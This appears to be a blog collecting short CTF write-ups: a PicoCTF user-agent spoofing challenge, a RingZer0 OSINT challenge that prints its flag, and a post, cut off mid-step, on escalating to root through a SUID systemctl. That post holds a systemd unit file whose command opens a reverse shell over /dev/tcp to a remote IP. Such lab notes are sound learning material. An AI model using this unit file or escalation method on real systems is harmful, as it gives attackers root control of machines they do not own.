PicoCTF2018 – Web – Secret Agent

PicoCTF2018 – Web – Secret Agent

Objective:

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell.picoctf.com:3827 (link [1] )

Hints:

( How can your browser pretend to be something else?

Solution:

Ok so this one looks like its referencing a user agent, which is what your browser tells the website about your computer. Such as OS and browser

So if you click on the flag button in the website and you get this error message.

“Your’re not google!”

That is a clue we are looking for, its checking to see if the user agent is google.

I used a chrome extension called “User-Agent Swticher” to change my user agent to replicate that of the Googlebot – which is google spider agent

Tried the flag button again and got the flag

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics - Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
